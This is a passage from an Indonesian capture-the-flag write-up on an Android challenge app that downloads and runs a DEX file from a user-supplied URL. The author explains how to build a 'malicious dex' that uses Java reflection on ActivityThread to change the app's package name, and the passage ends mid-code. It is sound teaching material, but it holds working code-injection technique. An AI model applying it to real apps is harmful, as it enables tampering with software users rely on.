class="variable">pDialog</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ProgressDialog</span>(<span class="built_in">this</span>);</span><br><span class="line">        pDialog.setTitle(<span class="string">&quot;Downloading...&quot;</span>);</span><br><span class="line">        pDialog.setMessage(<span class="string">&quot;Please wait...&quot;</span>);</span><br><span class="line">        pDialog.setCancelable(<span class="literal">false</span>);</span><br><span class="line">        pDialog.setProgressStyle(<span class="number">0</span>);</span><br><span class="line">        pDialog.show();</span><br><span class="line">        <span class="type">ExecutorService</span> <span class="variable">executor</span> <span class="operator">=</span> Executors.newSingleThreadExecutor();</span><br><span class="line">        <span class="type">Handler</span> <span class="variable">handler</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Handler</span>(Looper.getMainLooper());</span><br><span class="line">        executor.execute(<span class="keyword">new</span> <span class="title class_">AnonymousClass2</span>(url, handler, pDialog));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/* JADX INFO: Access modifiers changed from: package-private */</span></span><br><span class="line">    <span class="comment">/* renamed from: com.kuro.internals.MainActivity$2  reason: invalid class name */</span></span><br><span class="line">    <span class="comment">/* loaded from: classes3.dex */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AnonymousClass2</span> <span class="keyword">implements</span> <span class="title class_">Runnable</span> &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="comment">/* synthetic */</span> Handler val$handler;</span><br><span class="line">        <span class="keyword">final</span> <span class="comment">/* synthetic */</span> ProgressDialog val$pDialog;</span><br><span class="line">        <span class="keyword">final</span> <span class="comment">/* synthetic */</span> String val$url;</span><br><span class="line"></span><br><span class="line">        AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) &#123;</span><br><span class="line">            <span class="built_in">this</span>.val$url = str;</span><br><span class="line">            <span class="built_in">this</span>.val$handler = handler;</span><br><span class="line">            <span class="built_in">this</span>.val$pDialog = progressDialog;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span> <span class="comment">// java.lang.Runnable</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="type">OkHttpClient</span> <span class="variable">client</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">OkHttpClient</span>();</span><br><span class="line">            <span class="type">Request</span> <span class="variable">request</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Request</span>.Builder().url(<span class="built_in">this</span>.val$url).build();</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                client.newCall(request).enqueue(<span class="keyword">new</span> <span class="title class_">Callback</span>() &#123; <span class="comment">// from class: com.kuro.internals.MainActivity.2.1</span></span><br><span class="line">                    <span class="meta">@Override</span> <span class="comment">// okhttp3.Callback</span></span><br><span class="line">                    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onFailure</span><span class="params">(Call call, IOException e)</span> &#123;</span><br><span class="line">                        AlertDialog.<span class="type">Builder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AlertDialog</span>.Builder(MainActivity.<span class="built_in">this</span>);</span><br><span class="line">                        builder.setTitle(<span class="string">&quot;Error&quot;</span>);</span><br><span class="line">                        builder.setMessage(e.getMessage());</span><br><span class="line">                        builder.setCancelable(<span class="literal">false</span>);</span><br><span class="line">                        builder.setPositiveButton(<span class="string">&quot;OK&quot;</span>, (DialogInterface.OnClickListener) <span class="literal">null</span>);</span><br><span class="line">                        builder.show();</span><br><span class="line">                    &#125;</span><br><span class="line"></span><br><span class="line">                    <span class="meta">@Override</span> <span class="comment">// okhttp3.Callback</span></span><br><span class="line">                    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onResponse</span><span class="params">(Call call, Response response)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">                        <span class="keyword">if</span> (!response.isSuccessful()) &#123;</span><br><span class="line">                            AlertDialog.<span class="type">Builder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AlertDialog</span>.Builder(MainActivity.<span class="built_in">this</span>);</span><br><span class="line">                            builder.setTitle(<span class="string">&quot;Error&quot;</span>);</span><br><span class="line">                            builder.setMessage(response.message());</span><br><span class="line">                            builder.setCancelable(<span class="literal">false</span>);</span><br><span class="line">                            builder.setPositiveButton(<span class="string">&quot;OK&quot;</span>, (DialogInterface.OnClickListener) <span class="literal">null</span>);</span><br><span class="line">                            builder.show();</span><br><span class="line">                            <span class="keyword">return</span>;</span><br><span class="line">                        &#125;</span><br><span class="line">                        <span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> response.body().byteStream();</span><br><span class="line">                        <span class="type">OutputStream</span> <span class="variable">outputStream</span> <span class="operator">=</span> MainActivity.<span class="built_in">this</span>.openFileOutput(<span class="string">&quot;payload.dex&quot;</span>, <span class="number">0</span>);</span><br><span class="line">                        <span class="keyword">try</span> &#123;</span><br><span class="line">                            <span class="type">byte</span>[] buffer = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line">                            <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">                                <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> inputStream.read(buffer);</span><br><span class="line">                                <span class="keyword">if</span> (len != -<span class="number">1</span>) &#123;</span><br><span class="line">                                    outputStream.write(buffer, <span class="number">0</span>, len);</span><br><span class="line">                                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                                    outputStream.close();</span><br><span class="line">                                    inputStream.close();</span><br><span class="line">                                    AnonymousClass2.<span class="built_in">this</span>.val$handler.post(<span class="keyword">new</span> <span class="title class_">Runnable</span>() &#123; <span class="comment">// from class: com.kuro.internals.MainActivity.2.1.1</span></span><br><span class="line">                                        <span class="meta">@Override</span> <span class="comment">// java.lang.Runnable</span></span><br><span class="line">                                        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">                                            AnonymousClass2.<span class="built_in">this</span>.val$pDialog.dismiss();</span><br><span class="line">                                            MainActivity.<span class="built_in">this</span>.loadDex();</span><br><span class="line">                                        &#125;</span><br><span class="line">                                    &#125;);</span><br><span class="line">                                    <span class="keyword">return</span>;</span><br><span class="line">                                &#125;</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                            e.printStackTrace();</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                e.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">loadDex</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">File</span> <span class="variable">dexPath</span> <span class="operator">=</span> getFileStreamPath(<span class="string">&quot;payload.dex&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (!dexPath.exists()) &#123;</span><br><span class="line">            AlertDialog.<span class="type">Builder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AlertDialog</span>.Builder(<span class="built_in">this</span>);</span><br><span class="line">            builder.setTitle(<span class="string">&quot;Error&quot;</span>);</span><br><span class="line">            builder.setMessage(<span class="string">&quot;payload.dex not found&quot;</span>);</span><br><span class="line">            builder.setCancelable(<span class="literal">false</span>);</span><br><span class="line">            builder.setPositiveButton(<span class="string">&quot;OK&quot;</span>, (DialogInterface.OnClickListener) <span class="literal">null</span>);</span><br><span class="line">            builder.show();</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">DexClassLoader</span> <span class="variable">dexClassLoader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">DexClassLoader</span>(dexPath.getAbsolutePath(), getFilesDir().getAbsolutePath(), <span class="literal">null</span>, getClassLoader());</span><br><span class="line">            Class&lt;?&gt; clazz = dexClassLoader.loadClass(<span class="string">&quot;com.kuro.payload.Main&quot;</span>);</span><br><span class="line">            clazz.getMethod(<span class="string">&quot;execute&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]).invoke(<span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">            <span class="keyword">if</span> (getPackageName().equals(<span class="string">&quot;l33t_h4x0r&quot;</span>)) &#123;</span><br><span class="line">                AlertDialog.<span class="type">Builder</span> <span class="variable">builder2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AlertDialog</span>.Builder(<span class="built_in">this</span>);</span><br><span class="line">                builder2.setTitle(<span class="string">&quot;Gr4tz&quot;</span>);</span><br><span class="line">                builder2.setMessage(<span class="string">&quot;Flag: flag&#123;fake_flag_dont_submit&#125;&quot;</span>);</span><br><span class="line">                builder2.setCancelable(<span class="literal">false</span>);</span><br><span class="line">                builder2.setPositiveButton(<span class="string">&quot;OK&quot;</span>, (DialogInterface.OnClickListener) <span class="literal">null</span>);</span><br><span class="line">                builder2.show();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Bisa dilihat bahwa aplikasi menggunakan layout <code>activity_main</code> yang bisa didapatkan di jadx didalam folder <code>Resources/res/layout/activity_main.xml</code>, aplikasi ini juga mempunyai 1 button dan 1 EditText.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/rJneta5-6.png"                                     ><br>Jadi simplenya ketika user sudah memasukan url kedalam box dan menekan button nya maka aplikasi akan mengambil url tersebut dan melemparkannya ke fungsi <code>downloadDex</code>, jika user tidak memasukan url kedalam box maka akan memunculkan popup <code>URL cannot be empty!</code>.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/BJnsta5b6.png"                                     ></p><h3 id="downloadDex"><a href="#downloadDex" class="headerlink" title="downloadDex"></a>downloadDex</h3><p>Pada fungsi <code>downloadDex</code>  bisa dilihat bahwa aplikasi akan memunculkan dialog <code>Downloading...</code> dan akan melemparkannya ke fungsi <code>AnonymousClass2</code>.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/Syz0tacZ6.png"                                     ></p><h3 id="AnonymousClass2"><a href="#AnonymousClass2" class="headerlink" title="AnonymousClass2"></a>AnonymousClass2</h3><p>berikut ini isi dari fungsi <code>AnonymousClass2</code></p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AnonymousClass2</span> <span class="keyword">implements</span> <span class="title class_">Runnable</span> &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="comment">/* synthetic */</span> Handler val$handler;</span><br><span class="line">        <span class="keyword">final</span> <span class="comment">/* synthetic */</span> ProgressDialog val$pDialog;</span><br><span class="line">        <span class="keyword">final</span> <span class="comment">/* synthetic */</span> String val$url;</span><br><span class="line"></span><br><span class="line">        AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) &#123;</span><br><span class="line">            <span class="built_in">this</span>.val$url = str;</span><br><span class="line">            <span class="built_in">this</span>.val$handler = handler;</span><br><span class="line">            <span class="built_in">this</span>.val$pDialog = progressDialog;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="meta">@Override</span> <span class="comment">// java.lang.Runnable</span></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="type">OkHttpClient</span> <span class="variable">client</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">OkHttpClient</span>();</span><br><span class="line">            <span class="type">Request</span> <span class="variable">request</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Request</span>.Builder().url(<span class="built_in">this</span>.val$url).build();</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                client.newCall(request).enqueue(<span class="keyword">new</span> <span class="title class_">Callback</span>() &#123; <span class="comment">// from class: com.kuro.internals.MainActivity.2.1</span></span><br><span class="line">                    <span class="meta">@Override</span> <span class="comment">// okhttp3.Callback</span></span><br><span class="line">                    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onFailure</span><span class="params">(Call call, IOException e)</span> &#123;</span><br><span class="line">                        AlertDialog.<span class="type">Builder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AlertDialog</span>.Builder(MainActivity.<span class="built_in">this</span>);</span><br><span class="line">                        builder.setTitle(<span class="string">&quot;Error&quot;</span>);</span><br><span class="line">                        builder.setMessage(e.getMessage());</span><br><span class="line">                        builder.setCancelable(<span class="literal">false</span>);</span><br><span class="line">                        builder.setPositiveButton(<span class="string">&quot;OK&quot;</span>, (DialogInterface.OnClickListener) <span class="literal">null</span>);</span><br><span class="line">                        builder.show();</span><br><span class="line">                    &#125;</span><br><span class="line"></span><br><span class="line">                    <span class="meta">@Override</span> <span class="comment">// okhttp3.Callback</span></span><br><span class="line">                    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onResponse</span><span class="params">(Call call, Response response)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">                        <span class="keyword">if</span> (!response.isSuccessful()) &#123;</span><br><span class="line">                            AlertDialog.<span class="type">Builder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AlertDialog</span>.Builder(MainActivity.<span class="built_in">this</span>);</span><br><span class="line">                            builder.setTitle(<span class="string">&quot;Error&quot;</span>);</span><br><span class="line">                            builder.setMessage(response.message());</span><br><span class="line">                            builder.setCancelable(<span class="literal">false</span>);</span><br><span class="line">                            builder.setPositiveButton(<span class="string">&quot;OK&quot;</span>, (DialogInterface.OnClickListener) <span class="literal">null</span>);</span><br><span class="line">                            builder.show();</span><br><span class="line">                            <span class="keyword">return</span>;</span><br><span class="line">                        &#125;</span><br><span class="line">                        <span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> response.body().byteStream();</span><br><span class="line">                        <span class="type">OutputStream</span> <span class="variable">outputStream</span> <span class="operator">=</span> MainActivity.<span class="built_in">this</span>.openFileOutput(<span class="string">&quot;payload.dex&quot;</span>, <span class="number">0</span>);</span><br><span class="line">                        <span class="keyword">try</span> &#123;</span><br><span class="line">                            <span class="type">byte</span>[] buffer = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>];</span><br><span class="line">                            <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">                                <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> inputStream.read(buffer);</span><br><span class="line">                                <span class="keyword">if</span> (len != -<span class="number">1</span>) &#123;</span><br><span class="line">                                    outputStream.write(buffer, <span class="number">0</span>, len);</span><br><span class="line">                                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                                    outputStream.close();</span><br><span class="line">                                    inputStream.close();</span><br><span class="line">                                    AnonymousClass2.<span class="built_in">this</span>.val$handler.post(<span class="keyword">new</span> <span class="title class_">Runnable</span>() &#123; <span class="comment">// from class: com.kuro.internals.MainActivity.2.1.1</span></span><br><span class="line">                                        <span class="meta">@Override</span> <span class="comment">// java.lang.Runnable</span></span><br><span class="line">                                        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">                                            AnonymousClass2.<span class="built_in">this</span>.val$pDialog.dismiss();</span><br><span class="line">                                            MainActivity.<span class="built_in">this</span>.loadDex();</span><br><span class="line">                                        &#125;</span><br><span class="line">                                    &#125;);</span><br><span class="line">                                    <span class="keyword">return</span>;</span><br><span class="line">                                &#125;</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                            e.printStackTrace();</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;);</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                e.printStackTrace();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></div><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/rkL0cT9WT.png"                                     ></p><p>Setelah membaca source code dari fungsi <code>AnonymousClass2</code> bisa dilihat bahwa dia mencoba untuk mendownload file dex dari url yang kita berikan dan menyimpannya dengan nama file <code>payload.dex</code> yang kemudian akan dialihkan ke fungsi <code>loadDex()</code>.</p><h3 id="Create-a-malicious-app"><a href="#Create-a-malicious-app" class="headerlink" title="Create a malicious app"></a>Create a malicious app</h3><p>Dan disinilah bagian menariknya muncul dan bagaimana kita akan membuat malicious dex nya.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/B12WV6q-6.png"                                     ><br>Yang dimana dalam fungsi ini dia mengecheck terlebih dahulu apakah ada file <code>payload.dex</code> didalam folder files aplikasi kita, perlu dinote setiap file yang diload oleh android studio itu ada pada folder <code>/data/data/[nama package apk]/files</code>, jadi dalam kode ini aplikasi challenge akan mengecheck terlebih dahulu apakah file <code>payload.dex</code> itu ada atau tidak didalam folder files kita.</p><p>Selanjutnya ketika file <code>payload.dex</code> itu ada didalam folder files, <code>payload.dex</code> akan diload dengan <a class="link"   href="https://developer.android.com/reference/dalvik/system/DexClassLoader" >DexClassLoader<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> yang nantinya akan dicheck dengan menggunakan <a class="link"   href="https://www.haptik.ai/tech/using-reflection-in-android/" >Reflection<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> untuk meload class didalam file dex nya, yang dimana dikode ini aplikasi challenge berusaha untuk meload class dari package <code>com.kuro.payload</code> dengan nama class <code>Main</code> dan juga dia mengambil method dari <code>execute</code> untuk dijalankan diaplikasi challenge, setelah berhasil loadClass dari <code>payload.dex</code> dia akan mengecheck nama package dari aplikasi challenge yang dimana saat ini masihlah <code>com.kuro.internals</code> sudah berubah ke nama package baru atau tidak yaitu <code>l33t_h4x0r</code>, ketika kondisi ini terpenuhi aplikasi akan menampilkan flag nya.</p><p>Setelah berhasil memahami bagaimana alur dari aplikasi ini berjalan, penulis sudah mempunya gambaran tentang bagaimana membuat malicious dex nya agar ketika dex yang penulis buat nanti bisa merubah packageName dari aplikasi challenge dari <code>com.kuro.internals</code> ke <code>l33t_h4x0r</code>.</p><p>Dari hint yang diberikan oleh pembuat soal, pembuat soal meminta kita untuk melakukan osint digithub akunnya dia.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/H16yhacZa.png"                                     ></p><p>Akhirnya penulis menemukan akun githubnya dan menemukan repository yang menarik didalamnya yaitu <a class="link"   href="https://github.com/aimardcr/APKKiller" >APKKiller<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>, didalam repository ini pembuat soal memberitahukan bahwa dengan menggunakan <code>Reflection</code> kita bisa membaca dan memodifikasi internal classes dan fields nya.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/H1iS26cZp.png"                                     ></p><p>Setelah membaca dan melakukan trial and error tentang <code>Reflection</code> penulis menemukan cara bahwa kita bisa menggunakan class dari <a class="link"   href="https://android.googlesource.com/platform/frameworks/base.git/+/master/core/java/android/app/ActivityThread.java" >ActivityThread<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> untuk mengubah packageName ke packageName yang kita mau.</p><p>Cobalah untuk membuat projek baru di <code>Android Studio</code> dengan setup sebagai berikut:</p><ol><li>Pilih <code>Empty Views Activity</code> lalu Next.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/HJPOAaq-a.png"                                     ></li><li>Buatlah nama terserah kalian, asalkan nama package nya itu <code>com.kuro.payload</code> karena pada aplikasi challenge package ini yang akan di load, lalu pilihlah <code>Java</code> sebagai bahasa pemrogramannya, karena <code>Reflection</code> bisa kita pakai di java.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/SJ5NyR9Wp.png"                                     ></li><li>Setelah itu klik <code>Finish</code> dan tunggu sampai android studio menyiapkan setupnya.</li><li>Setelah semuanya sudah selesai, kita buat class baru dengan nama <code>Main</code> karena aplikasi challenge akan meload class dari package kita dengan nama <code>Main</code> dengan klik kanan pada package <code>com.kuro.payload</code> lalu klik <code>New -&gt; Java Class</code>.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/BJlf6kRqb6.png"                                     ></li><li>Masukan nama <code>Main</code> dan enter.<br><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/H1Z-xA5bT.png"                                     ></li><li>Kita akan memakai activity <code>MainActivity</code> terlebih dahulu untuk debugging.</li></ol><p>Jadi step pertama adalah cari terlebih dahulu field dari packageName dan kemudian baru kita set ke value yang baru</p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.kuro.payload;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> androidx.appcompat.app.AppCompatActivity;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"><span class="keyword">import</span> android.util.Log;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MainActivity</span> <span class="keyword">extends</span> <span class="title class_">AppCompatActivity</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle savedInstanceState)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>.onCreate(savedInstanceState);</span><br><span class="line">        setContentView(R.layout.activity_main);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Class&lt;?&gt; clazz = Class.forName(<span class="string">&quot;android.app.ActivityThread&quot;</span>);</span><br><span class="line">            Field[] fs = clazz.getDeclaredFields();</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; fs.length; i++) &#123;</span><br><span class="line">                Log.e(<span class="string">&quot;Field&quot;</span> + String.valueOf(i), fs[i].getName());</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>Coba gunakan kodingan diatas dan jalankan, lalu coba untuk melihat logcat nya karena saya memasukan <code>Log.e</code> disitu untuk debugging dan melihat isi field dari <code>ActivityThread</code>.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/B1PSbRqba.png"                                     ></p><p>Dan didapatlah isi field dari class <code>ActivityThread</code>.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/SJlKbR9bp.png"                                     ></p><p>Seperti yang diberikan hint oleh pembuat soal bahwa getPackageName itu terdapat pada mPackageInfo.</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/HkTkDRcbp.png"                                     ></p><p>Setelah menghabiskan banyak waktu disini, akhirnya saya menemukan bahwa didalam fields <code>mBoundApplication</code> terdapat field <code>info</code></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="https://hackmd.io/_uploads/ryJQPC9ZT.png"                                     ></p><div class="code-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.kuro.payload;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> androidx.appcompat.app.AppCompatActivity;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.os.Bundle;</span><br><span class="line"><span class="keyword">import</span> android.util.Log;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MainActivity</span> <span class="keyword">extends</span> <span class="title class_">AppCompatActivity</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">onCreate</span><span class="params">(Bundle savedInstanceState)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>.onCreate(savedInstanceState);</span><br><span class="line">        setContentView(R.layout.activity_main);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Class&lt;?&gt; clazz = Class.forName(<span class="string">&quot;android.app.ActivityThread&quot;</span>);</span><br><span class="line">            <span class="type">Method</span> <span class="variable">currentActivityThread</span> <span class="operator">=</span> clazz.getDeclaredMethod(<span class="string">&quot;currentActivityThread&quot;</span>);</span><br><span class="line">            currentActivityThread.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span class="type">Object</span> <span class="variable">activityThread</span> <span class="operator">=</span> currentActivityThread.invoke(<span class="literal">null</span>);</span><br><span class="line"></span><br><span class="line">            Field[] fields = clazz.getDeclaredFields();</span><br><span class="line">            <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; fields.length; i++) &#123;</span><br><span class="line">                Log.e(<span class="string">&quot;Field&quot;</span> + String.valueOf(i), fields[i].getName());</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="type">Field</span> <span class="variable">mBoundApplicationField</span> <span class="operator">=</span> clazz.getDeclaredField(<span class="string">&quot;mBoundApplication&quot;</span>);</span><br><span class="line">            mBoundApplicationField.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            <span 